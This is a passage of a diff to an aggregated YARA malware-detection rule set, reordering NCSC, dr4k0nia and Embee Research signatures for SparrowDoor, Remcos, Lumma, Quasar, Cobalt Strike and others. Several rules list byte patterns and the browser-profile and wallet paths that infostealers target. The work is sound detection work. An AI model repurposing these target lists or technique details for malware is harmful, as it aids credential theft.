= "8ae231cb43440e1771d9f7ecaccfedae33f4d14e5ebabd94a909e05bd9fe1bc1" score = 75 quality = 80 tags = "" hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" strings: - $xor_routine_outbound = {B8 39 8E E3 38 F7 E1 D1 EA 8D 14 D2 8B C1 2B C2 8A [4] 00 30 14 39 41 3B CE} - $xor_routine_inbound = {B8 25 49 92 24 F7 E1 8B C1 2B C2 D1 E8 03 C2 C1 E8 02 8D 14 C5 [4] 2B D0 8B C1 2B C2} - $xor_routine_config = {8B D9 83 E3 07 0F [6] 30 18 8D 1C 07 83 E3 07 0F [6] 30 58 01 8D 1C 28 83 E3 07 0F [6] 30 58 02 8D 1C 02 83 E3 07 0F [6] 30 58 03 8B DE 83 E3 07 0F [6] 30 58 04 83 C6 05 83 C1 05} + $sleep = {FF D7 33 D2 B9 [4] F7 F1 81 C2 [4] 8B C2 C1 E0 04 2B C2 03 C0 03 C0 03 C0 50} condition: - 2 of them + all of them } - -rule NCSC_Sparrowdoor_Clipshot : FILE +rule NCSC_Sparrowdoor_Config : FILE { meta: - description = "The SparrowDoor loader contains a feature it calls clipshot, which logs clipboard data to a file." + description = "Targets the XOR encoded loader config and shellcode in the file libhost.dll using the known position of the XOR key." author = "NCSC" - id = "186e694b-6ae1-5042-847a-f54708dc76ef" + id = "16eec5b6-c77a-585d-88f3-2c86abdbf2bd" date = "2022-02-28" modified = "2022-07-06" reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_clipshot.yar#L3-L20" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_config.yar#L1-L14" license_url = "N/A" - logic_hash = "7662e3be2752ac82d6cfe4b2e420157e78367c201c25ae34b5d956dc53ba20ae" + logic_hash = "bd52496b6e7cabc875a277ce7d49f6b891c3f61591edef295dbee43716c15509" score = 75 quality = 80 tags = "FILE" - hash1 = "989b3798841d06e286eb083132242749c80fdd4d" - - strings: - $exsting_cmp = {8B 1E 3B 19 75 ?? 83 E8 04 83 C1 04 83 C6 04 83 F8 04} - $time_format_string = "%d/%d/%d %d:%d" ascii - $cre_fil_args = {6A 00 68 80 00 00 00 6A 04 6A 00 6A 02 68 00 00 00 40 52} + hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" condition: - ( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them and ( pe.imports ( "User32.dll" , "OpenClipboard" ) and pe.imports ( "User32.dll" , "GetClipboardData" ) and pe.imports ( "Kernel32.dll" , "GetLocalTime" ) and pe.imports ( "Kernel32.dll" , "GlobalSize" ) ) + ( uint16( 0 ) != 0x5A4D ) and ( uint16( 0 ) != 0x8b55 ) and ( uint32( 0 ) ^ uint32( 0x4c ) == 0x00 ) and ( uint32( 0 ) ^ uint32( 0x34 ) == 0x00 ) and ( uint16( 0 ) ^ uint16( 0x50 ) == 0x8b55 ) } -rule NCSC_Sparrowdoor_Loader : FILE +rule NCSC_Sparrowdoor_Apipatch { meta: - description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant." + description = "Identifies code segments in SparrowDoor responsible for patching APIs. No MZ/PE match as the backdoor has no header. Targeting in memory." author = "NCSC" - id = "7107cb82-c4c9-503f-b006-baec6b667498" + id = "119b7f3a-1850-53ab-a5d1-8882e34a34b4" date = "2022-02-28" modified = "2022-07-06" reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_loader.yar#L1-L15" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_apipatch.yar#L1-L17" license_url = "N/A" - logic_hash = "fa1bd386114d912722a5101a0112355dec654e2e9446c885c12946c7fae1c8f4" + logic_hash = "302ad7fc0354636c57e6ec86876c7d4a5baaa784f5ecf0f2d51ce47631b8542a" score = 75 quality = 80 - tags = "FILE" - hash1 = "989b3798841d06e286eb083132242749c80fdd4d" + tags = "" + hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" strings: - $xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1} - $rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56} - $lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56} + $save = {8B 06 89 07 8A 4E 04} + $vp_1 = {89 10 8A 4E 04 8B D6 2B D0 88 48 04 83 EA 05 C6 40 05 E9 89 50 06} + $vp_2 = {50 8B D6 6A 40 2B D7 88 4F 04 83 EA 05 6A 05 C6 47 05 E9 89 57 06 56} + $vp_3 = {51 52 2B DE 6A 05 83 EB 05 56 C6 06 E9 89 5E 01} + $va = {6A 40 68 00 10 00 00 68 00 10 00 00 6A 00} + $s_patch = {50 68 7F FF FF FF 68 FF FF 00 00 56} condition: - ( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them + 3 of them } rule NCSC_Sparrowdoor_Shellcode { @@ -172264,33 +172186,56 @@ rule NCSC_Neuron2_Dotnet_Strings : FILE condition: ( uint16( 0 ) == 0x5A4D and uint16( uint32( 0x3c ) ) == 0x4550 ) and $dotnetMagic and 2 of ( $s* ) } -rule NCSC_Sparrowdoor_Apipatch +rule NCSC_Sparrowdoor_Loader : FILE { meta: - description = "Identifies code segments in SparrowDoor responsible for patching APIs. No MZ/PE match as the backdoor has no header. Targeting in memory." + description = "Targets code features of the SparrowDoor loader. This rule detects the previous variant and this new variant." author = "NCSC" - id = "119b7f3a-1850-53ab-a5d1-8882e34a34b4" + id = "7107cb82-c4c9-503f-b006-baec6b667498" date = "2022-02-28" modified = "2022-07-06" reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_apipatch.yar#L1-L17" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_loader.yar#L1-L15" license_url = "N/A" - logic_hash = "302ad7fc0354636c57e6ec86876c7d4a5baaa784f5ecf0f2d51ce47631b8542a" + logic_hash = "fa1bd386114d912722a5101a0112355dec654e2e9446c885c12946c7fae1c8f4" score = 75 quality = 80 - tags = "" - hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" + tags = "FILE" + hash1 = "989b3798841d06e286eb083132242749c80fdd4d" strings: - $save = {8B 06 89 07 8A 4E 04} - $vp_1 = {89 10 8A 4E 04 8B D6 2B D0 88 48 04 83 EA 05 C6 40 05 E9 89 50 06} - $vp_2 = {50 8B D6 6A 40 2B D7 88 4F 04 83 EA 05 6A 05 C6 47 05 E9 89 57 06 56} - $vp_3 = {51 52 2B DE 6A 05 83 EB 05 56 C6 06 E9 89 5E 01} - $va = {6A 40 68 00 10 00 00 68 00 10 00 00 6A 00} - $s_patch = {50 68 7F FF FF FF 68 FF FF 00 00 56} + $xor_algo = {8B D0 83 E2 03 8A 54 14 10 30 14 30 40 3B C1} + $rva = {8D B0 [4] 8D 44 24 ?? 50 6A 40 6A 05 56} + $lj = {2B CE 83 E9 05 8D [3] 52 C6 06 E9 89 4E 01 8B [3] 50 6A 05 56} condition: - 3 of them + ( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them +} + +rule NCSC_Sparrowdoor_Clipshot : FILE +{ + meta: + description = "The SparrowDoor loader contains a feature it calls clipshot, which logs clipboard data to a file." + author = "NCSC" + id = "186e694b-6ae1-5042-847a-f54708dc76ef" + date = "2022-02-28" + modified = "2022-07-06" + reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_clipshot.yar#L3-L20" + license_url = "N/A" + logic_hash = "7662e3be2752ac82d6cfe4b2e420157e78367c201c25ae34b5d956dc53ba20ae" + score = 75 + quality = 80 + tags = "FILE" + hash1 = "989b3798841d06e286eb083132242749c80fdd4d" + + strings: + $exsting_cmp = {8B 1E 3B 19 75 ?? 83 E8 04 83 C1 04 83 C6 04 83 F8 04} + $time_format_string = "%d/%d/%d %d:%d" ascii + $cre_fil_args = {6A 00 68 80 00 00 00 6A 04 6A 00 6A 02 68 00 00 00 40 52} + + condition: + ( uint16( 0 ) == 0x5A4D ) and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them and ( pe.imports ( "User32.dll" , "OpenClipboard" ) and pe.imports ( "User32.dll" , "GetClipboardData" ) and pe.imports ( "Kernel32.dll" , "GetLocalTime" ) and pe.imports ( "Kernel32.dll" , "GlobalSize" ) ) } rule NCSC_Sparrowdoor_Strings { @@ -172326,34 +172271,36 @@ rule NCSC_Sparrowdoor_Strings condition: 10 of them } -rule NCSC_Sparrowdoor_Sleep_Routine +rule NCSC_Sparrowdoor_Xor { meta: - description = "SparrowDoor implements a Sleep routine with value seeded on GetTickCount. This signature detects the previous and this variant of SparrowDoor. No MZ/PE match as the backdoor has no header." + description = "Highlights XOR routines in SparrowDoor. No MZ/PE match as the backdoor has no header. Targeting in memory." author = "NCSC" - id = "9a0aa77d-7dbe-5007-b875-211cf528614b" + id = "9c07feea-91fc-528e-91ac-14d09fa1fc10" date = "2022-02-28" modified = "2022-07-06" reference = "https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf" - source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_sleep_routine.yar#L1-L12" + source_url = "https://github.com/mikesxrs/Open-Source-YARA-rules/blob/ec0056f767db98bf6d5fd63877ad51fb54d350e9/NCSC/SparrowDoor_xor.yar#L1-L14" license_url = "N/A" - logic_hash = "8ae231cb43440e1771d9f7ecaccfedae33f4d14e5ebabd94a909e05bd9fe1bc1" + logic_hash = "3244e9017e5a0bf1c54e03b3191a5c695b2c1586b3ed4c529742f9b48903a348" score = 75 quality = 80 tags = "" hash1 = "c1890a6447c991880467b86a013dbeaa66cc615f" strings: - $sleep = {FF D7 33 D2 B9 [4] F7 F1 81 C2 [4] 8B C2 C1 E0 04 2B C2 03 C0 03 C0 03 C0 50} + $xor_routine_outbound = {B8 39 8E E3 38 F7 E1 D1 EA 8D 14 D2 8B C1 2B C2 8A [4] 00 30 14 39 41 3B CE} + $xor_routine_inbound = {B8 25 49 92 24 F7 E1 8B C1 2B C2 D1 E8 03 C2 C1 E8 02 8D 14 C5 [4] 2B D0 8B C1 2B C2} + $xor_routine_config = {8B D9 83 E3 07 0F [6] 30 18 8D 1C 07 83 E3 07 0F [6] 30 58 01 8D 1C 28 83 E3 07 0F [6] 30 58 02 8D 1C 02 83 E3 07 0F [6] 30 58 03 8B DE 83 E3 07 0F [6] 30 58 04 83 C6 05 83 C1 05} condition: - all of them + 2 of them } /* * YARA Rule Set * Repository Name: Dr4k0nia * Repository: https://github.com/dr4k0nia/yara-rules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8 * Number of Rules: 5 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -172404,44 +172351,32 @@ rule DR4K0NIA_Msil_Susp_Obf_Xorstringsnet : FILE condition: uint16( 0 ) == 0x5a4d and filesize < 25MB and dotnet.is_dotnet and $pattern } - -rule DR4K0NIA_Msil_Susp_Obf_Antidump : FILE +rule DR4K0NIA_MAL_Msil_Net_Niximports_Loader : FILE { meta: - description = "No description has been set in the source file - Dr4k0nia" + description = "Detects NixImports .NET loader" author = "dr4k0nia" - id = "d9217ade-a016-548e-b63f-f6ee78ff8775" - date = "2023-12-03" - modified = "2023-03-13" - reference = "https://github.com/dr4k0nia/yara-rules" - source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_antidump.yar#L7-L39" + id = "ba0d072d-674a-5790-9381-4dac98204268" + date = "2023-05-21" + modified = "2023-05-22" + reference = "https://github.com/dr4k0nia/NixImports" + source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_mal_niximports_loader.yar#L1-L21" license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md" - hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42" - logic_hash = "18cfc720f54b2178398f8214591a3fb777ea11e67a8a6d2ce26cc4891a62fd35" - score = 65 + logic_hash = "79421b2677705852f893fa53478deb2e4aa8bd354ac05cbf5438a3a2a15d70bf" + score = 75 quality = 85 tags = "FILE" - version = "1.0" strings: - $import0 = "ZeroMemory" - $import1 = "VirtualProtect" - $importt2 = "GetCurrentProcess" - $array0 = {08 00 00 00 0c 00 00 00 10 00 00 00 14 00 00 00 - 18 00 00 00 1c 00 00 00 24 00 00 00} - $array1 = {04 00 00 00 16 00 00 00 18 00 00 00 40 00 00 00 - 42 00 00 00 44 00 00 00 46 00 00 00 48 00 00 00 - 4a 00 00 00 4c 00 00 00 5c 00 00 00 5e 00 00 00} - $array2 = {00 00 00 00 08 00 00 00 0c 00 00 00 10 00 00 00 - 16 00 00 00 1c 00 00 00 20 00 00 00 28 00 00 00 - 2c 00 00 00 34 00 00 00 3c 00 00 00 4c 00 00 00 - 50 00 00 00 54 00 00 00 58 00 00 00 60 00 00 00 - 64 00 00 00 68 00 00 00 6c 00 00 00 70 00 00 00 - 74 00 00 00 04 01 00 00 08 01 00 00 0c 01 00 00 - 10 01 00 00 14 01 00 00 1c 01 00 00} + $op_pe = {C2 95 C2 97 C2 B2 C2 92 C2 82 C2 82 C2 8E C2 82 C2 82 C2 82 C2 82 C2 86 C2 82} + $op_delegate = {20 F0 C7 FF 80 20 83 BF 7F 1F 14 14} + $a1 = "GetRuntimeProperties" ascii fullword + $a2 = "GetTypes" ascii fullword + $a3 = "GetRuntimeMethods" ascii fullword + $a4 = "netstandard" ascii fullword condition: - uint16( 0 ) == 0x5a4d and dotnet.is_dotnet and all of them + uint16( 0 ) == 0x5a4d and filesize < 3MB and all of ( $a* ) and 2 of ( $op* ) } rule DR4K0NIA_Msil_Suspicious_Use_Of_Strreverse : FILE @@ -172470,32 +172405,44 @@ rule DR4K0NIA_Msil_Suspicious_Use_Of_Strreverse : FILE condition: uint16( 0 ) == 0x5a4d and dotnet.is_dotnet and filesize < 50MB and $csharp and $vbnet and $strreverse } -rule DR4K0NIA_MAL_Msil_Net_Niximports_Loader : FILE + +rule DR4K0NIA_Msil_Susp_Obf_Antidump : FILE { meta: - description = "Detects NixImports .NET loader" + description = "No description has been set in the source file - Dr4k0nia" author = "dr4k0nia" - id = "ba0d072d-674a-5790-9381-4dac98204268" - date = "2023-05-21" - modified = "2023-05-22" - reference = "https://github.com/dr4k0nia/NixImports" - source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_mal_niximports_loader.yar#L1-L21" + id = "d9217ade-a016-548e-b63f-f6ee78ff8775" + date = "2023-12-03" + modified = "2023-03-13" + reference = "https://github.com/dr4k0nia/yara-rules" + source_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/dotnet/msil_susp_obf_antidump.yar#L7-L39" license_url = "https://github.com/dr4k0nia/yara-rules/blob/4b10f9b79a4cfb3ec9cb5675f32cc7ee6885fbd8/LICENSE.md" - logic_hash = "79421b2677705852f893fa53478deb2e4aa8bd354ac05cbf5438a3a2a15d70bf" - score = 75 + hash = "ef7bb2464a2b430aa98bd65a1a40b851b57cb909ac0aea3e53729c0ff900fa42" + logic_hash = "18cfc720f54b2178398f8214591a3fb777ea11e67a8a6d2ce26cc4891a62fd35" + score = 65 quality = 85 tags = "FILE" + version = "1.0" strings: - $op_pe = {C2 95 C2 97 C2 B2 C2 92 C2 82 C2 82 C2 8E C2 82 C2 82 C2 82 C2 82 C2 86 C2 82} - $op_delegate = {20 F0 C7 FF 80 20 83 BF 7F 1F 14 14} - $a1 = "GetRuntimeProperties" ascii fullword - $a2 = "GetTypes" ascii fullword - $a3 = "GetRuntimeMethods" ascii fullword - $a4 = "netstandard" ascii fullword + $import0 = "ZeroMemory" + $import1 = "VirtualProtect" + $importt2 = "GetCurrentProcess" + $array0 = {08 00 00 00 0c 00 00 00 10 00 00 00 14 00 00 00 + 18 00 00 00 1c 00 00 00 24 00 00 00} + $array1 = {04 00 00 00 16 00 00 00 18 00 00 00 40 00 00 00 + 42 00 00 00 44 00 00 00 46 00 00 00 48 00 00 00 + 4a 00 00 00 4c 00 00 00 5c 00 00 00 5e 00 00 00} + $array2 = {00 00 00 00 08 00 00 00 0c 00 00 00 10 00 00 00 + 16 00 00 00 1c 00 00 00 20 00 00 00 28 00 00 00 + 2c 00 00 00 34 00 00 00 3c 00 00 00 4c 00 00 00 + 50 00 00 00 54 00 00 00 58 00 00 00 60 00 00 00 + 64 00 00 00 68 00 00 00 6c 00 00 00 70 00 00 00 + 74 00 00 00 04 01 00 00 08 01 00 00 0c 01 00 00 + 10 01 00 00 14 01 00 00 1c 01 00 00} condition: - uint16( 0 ) == 0x5a4d and filesize < 3MB and all of ( $a* ) and 2 of ( $op* ) + uint16( 0 ) == 0x5a4d and dotnet.is_dotnet and all of them } rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE { @@ -172531,7 +172478,7 @@ rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE * YARA Rule Set * Repository Name: EmbeeResearch * Repository: https://github.com/embee-research/Yara-detection-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4 * Number of Rules: 39 * Skipped: 0 (age), 8 (quality), 0 (score), 0 (importance) @@ -172541,200 +172488,221 @@ rule DR4K0NIA_MAL_MSIL_NET_Typhonlogger_Jul23 : FILE * * NO LICENSE SET */ - -rule EMBEERESEARCH_Win_Icedid_Snowloader_Bytecodes_Oct_2023 +rule EMBEERESEARCH_Win_Solarmarker_Stage2_Bytecodes_Dec_2023 { meta: - description = "No description has been set in the source file - EmbeeResearch" + description = "Patterns observed in Solarmarker stage2 dll" author = "Matthew @ Embee_Research" - id = "ad5d7bf5-813d-519d-91ae-e6a69fd557df" - date = "2023-08-27" - modified = "2023-10-18" + id = "9aba6cdf-1491-579d-b4a7-fe229272015d" + date = "2023-12-28" + modified = "2023-12-28" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_icedid_snowloader_bytecodes_oct_2023.yar#L2-L23" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_stage2_bytecodes_dec_2023.yar#L1-L20" license_url = "N/A" - hash = "e096de90f65ff83ed0e929b330aa765a8e2322625325fb042775bff1748467cc" - hash = "e87928fcddf13935c91a0b5577e28efd29bb6a5c1d98e5129dec63e231601053" - hash = "82a01607ebdcaa73b9ff201ccb76780ad8de4a99dd3df026dcb71b0f007456ed" - logic_hash = "5baa308ce130cbbe80f94fc127b083f26ae87552910c2bc6f3bae3008cf1aa63" + hash = "4a3b60496a793ee96a51fecf8690ef8312429a6b54d32f2a4424395c47b47fc8" + hash = "e0b2457491a8c2d50710aa343ad1957a76f83ceaf680165ffa0e287fe18abbd6" + logic_hash = "8e50e5942f0029ffda1d9750f8cc8e004a2512e50b6a14c1619ae0b83477a944" score = 75 quality = 75 tags = "" strings: - $s_1 = {4c 77 26 07} - $s_2 = {58 a4 53 e5} - $s_3 = {10 e1 8a c3} + $s1 = {6F ?? ?? 00 0A 1F 20 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 09 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0D 2E ?? 02 7B ?? ?? 00 04 02 7B ?? ?? 00 04 6F ?? ?? 00 0A 1F 0A } condition: - ( all of ( $s* ) ) and pe.number_of_exports > 20 + $s1 } -rule EMBEERESEARCH_Win_Remcos_Rat_Unpacked : FILE +rule EMBEERESEARCH_Win_Lumma_Simple_Strings : FILE { meta: - description = "Detects strings present in remcos rat Samples." + description = "" author = "Matthew @ Embee_Research" - id = "d4282638-592a-5c07-b07b-937e2a7879e4" - date = "2023-08-27" - modified = "2023-10-18" + id = "d949d547-a2ee-56d9-8510-74f3b718b2c0" + date = "2023-09-13" + modified = "2023-09-21" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_remcos_rat_unpacked_aug_2023.yar#L2-L32" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma _simple_sep_2023.yar#L1-L40" license_url = "N/A" - hash = "ec901217558e77f2f449031a6a1190b1e99b30fa1bb8d8dabc3a99bc69833784" - logic_hash = "c6d1772a5517b104de3022f4bab55d92784d35c3a252a4e0516083d8bd28cad0" + hash = "277d7f450268aeb4e7fe942f70a9df63aa429d703e9400370f0621a438e918bf" + logic_hash = "0b3cb6721d26b79afe892b1c4df5e54c18cd7a5492aeacd442deca6b9b926f3c" score = 75 quality = 75 tags = "FILE" strings: - $r0 = " ______ " ascii - $r1 = "(_____ \\ " ascii - $r2 = " _____) )_____ ____ ____ ___ ___ " ascii - $r3 = "| __ /| ___ | \\ / ___) _ \\ /___)" ascii - $r4 = "| | \\ \\| ____| | | ( (__| |_| |___ |" ascii - $r5 = "|_| |_|_____)_|_|_|\\____)___/(___/ " ascii - $s1 = "Watchdog module activated" ascii - $s2 = "Remcos restarted by watchdog!" ascii - $s3 = " BreakingSecurity.net" ascii + $s1 = "Binedx765ance Chaedx765in Waledx765let" wide + $s2 = "%appdaedx765ta%\\Moedx765zilla\\Firedx765efox\\Profedx765iles" + $s3 = "\\Locedx765al Extensedx765ion Settinedx765gs\\" + $s4 = "%appdedx765ata%\\Opedx765era Softwedx765are\\Opedx765era GX Staedx765ble" + $o1 = {57 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 62 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00} + $o2 = {4f 00 70 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 72 00 61 00 20 00 4e 00 65 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 6e 00} + $o3 = {4c 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 67 00 69 00 6e 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00} condition: - (( all of ( $r* ) ) or ( all of ( $s* ) ) ) + uint16( 0 ) == 0x5a4d and filesize < 5000KB and ( ( all of ( $s* ) ) or ( all of ( $o* ) ) ) } -rule EMBEERESEARCH_Win_Redline_Bytecodes_Jan_2024 : FILE +rule EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023 : FILE { meta: - description = "Bytecodes found in late 2023 Redline malware" + description = "Detects default strings related to cobalt strike named pipes" author = "Matthew @ Embee_Research" - id = "8acf0fbb-f7d1-5a3d-9ccb-ee21926d6a31" - date = "2023-08-27" - modified = "2024-01-02" + id = "9237f4e8-b9c4-54cb-9cb2-999d267392af" + date = "2023-11-04" + modified = "2023-11-04" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_redline_bytecodes_jan_2024.yar#L1-L22" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobaltstrike_pipe_strings_nov_2023.yar#L1-L24" license_url = "N/A" - hash = "ea1271c032046d482ed94c6d2c2c6e3ede9bea57dff13156cabca42b24fb9332" - logic_hash = "43f4d718611c16983071587c2806f92550ebba6bae737c59c63cd8584a5cc01f" + hash = "99986d438ec146bbb8b5faa63ce47264750a8fdf508a4d4250a8e1e3d58377fd" + hash = "090402a6e2db12cbdd3a889b7b46bb7702acc0cad37d87ff201230b618fe7ed5" + hash = "eb2b263937f8d28aa9df7277b6f25d10604a5037d5644c98ee0ab8f7a25db7b4" + logic_hash = "ff17fe9d04d9ad6aa5c034b69d412b0d62c48c537c3a54a465761e27e9255e6d" score = 75 quality = 75 tags = "FILE" strings: - $s1 = {00 00 7E ?? ?? ?? 04 7E ?? ?? ?? 04 28 ?? ?? ?? 06 17 8D ?? ?? ?? 01 25 16 1F 7C 9D 6F ?? ?? ?? 0A 13 ?? 16 13 ?? 38 } - $s2 = "mscoree.dll" ascii + $s1 = "%c%c%c%c%c%cMSSE-%d-server" + $s2 = "ConnectNamedPipe" + $s3 = "CreateNamedPipeA" + $s4 = "TlsGetValue" condition: - $s1 and $s2 and uint16( 0 ) == 0x5a4d + ( all of ( $s* ) ) and filesize < 500KB } -rule EMBEERESEARCH_Win_Pikabot_Resource_Entropy_Oct_2023 +rule EMBEERESEARCH_Win_Quasar_Rat_Client : FILE { meta: - description = "Pikabot Loaders embedding encrypted inside of numerous png images" + description = "Detects strings present in Quasar Rat Samples." author = "Matthew @ Embee_Research" - id = "253d35ae-a325-51c7-8da5-32bb46c51acd" - date = "2023-10-03" - modified = "2023-10-08" + id = "7fc0bd6d-e187-51b7-a8b8-68b17271cef8" + date = "2023-08-27" + modified = "2023-10-18" reference = "https://github.com/embee-research/Yara-detection-rules/" - source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_resource_entropy_oct_2023.yar#L5-L40" + source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_quasar_rat_client_aug_2023.yar#L3-L37" license_url = "N/A" - hash = "936247d9a0ce76bed17f03430186abb9ecafa88ef3a968cdd46c5b0a24a5cc3f" - hash = "2c7b7c3ec8a6a835e07c8feed401460e185388f59ea5fc8aa8038d2b75815666" - hash = "00239c55d7135aa06e21ace557a3e8bf3818c2e07051c84753209e7348b6a426" - hash = "5f218eeb83c936d88b65ec3f3052d8c53f58775dacc04bedc91bd388fb7bb885" - hash = "6bea3ecd1f43bdcc261719fb732fcf27e82ed6f4b086616925291a733f358a26" - hash = "966042f3e532b6abce7d96bbdb91dc4561b32a4b0b9eec7b08b4f1024c2da916" - hash = "951c906a1fa179050d30c06849d42e49a295dd1baad91efb244b2e5486b5801d" - hash = "a06bd2623c389f2547d0bf750ca720ab7a74c90982267aad49ba31d5de345288" - hash = "aeb2bf8898636b572b0703d9ddb90b9a4c5c6db9eee631ee726ad753f197ac12" - logic_hash = "7beec034fc927990734691bd6859870921027860c0591c7a0d5a3815f919112d" + hash = "914d88f295ac2213f37d3f71e6d4383979283d1728079a208f286effb44d840c" + hash = "45a724179ae1d08044c4bafb69c7f9cdb4ed35891dc9cf24aa664d75464ceb6d" + hash = "7e13bcd73232c3f33410aa95f61e1196a2f9ae35e05c1f9c8f251e07077a9dfb" + logic_hash = "efba911780ffb144f277e88ff8ca8f53a90c32a677ccb19ec26e71f974a1b91f" score = 75 - quality = 50 - tags = "" + quality = 75 + tags = "FILE" strings: - $s1 = "ARROW-DOWN" wide - $s2 = "ARROW-LEFT" wide - $s3 = "ARROW-RIGHT" wide + $s1 = "Quasar Client" ascii wide + $s2 = "Quasar.Client.Properties.Resources" ascii wide + $s3 = "Google\\Chrome\\User Data\\Default\\" wide + $s4 = "\\Mozilla\\Firefox\\Profiles" wide + $s5 = "Yandex\\YandexBrowser\\User Data\\Default\\" wide condition: - pe.DLL and ( all of ( $s* ) ) and pe.number_of_resources > 25 and pe.sections [ 3 ] . raw_data_size > 400KB and math.entropy ( pe.sections [ 3 ] . raw_data_offset , pe.sections [ 3 ] . raw_data_size ) > 7.5 + uint16( 0 ) == 0x5a4d and dotnet.is_dotnet and filesize < 7000KB and ( for any i in ( 0 .. dotnet.number_of_resources -1 ) : ( dotnet.resources [ i ] . name == "Quasar.Client*" ) or ( 3 of ( $s* ) ) ) } -rule EMBEERESEARCH_Win_Solarmarker_Stage2_Bytecodes_Dec_2023 +rule EMBEERESEARCH_Win_Medusa_Bytecodes { meta: - description = "Patterns observed in Solarmarker stage2 dll" + description = "Medusa Bytecodes" author = "Matthew @ Embee_Research" - id = 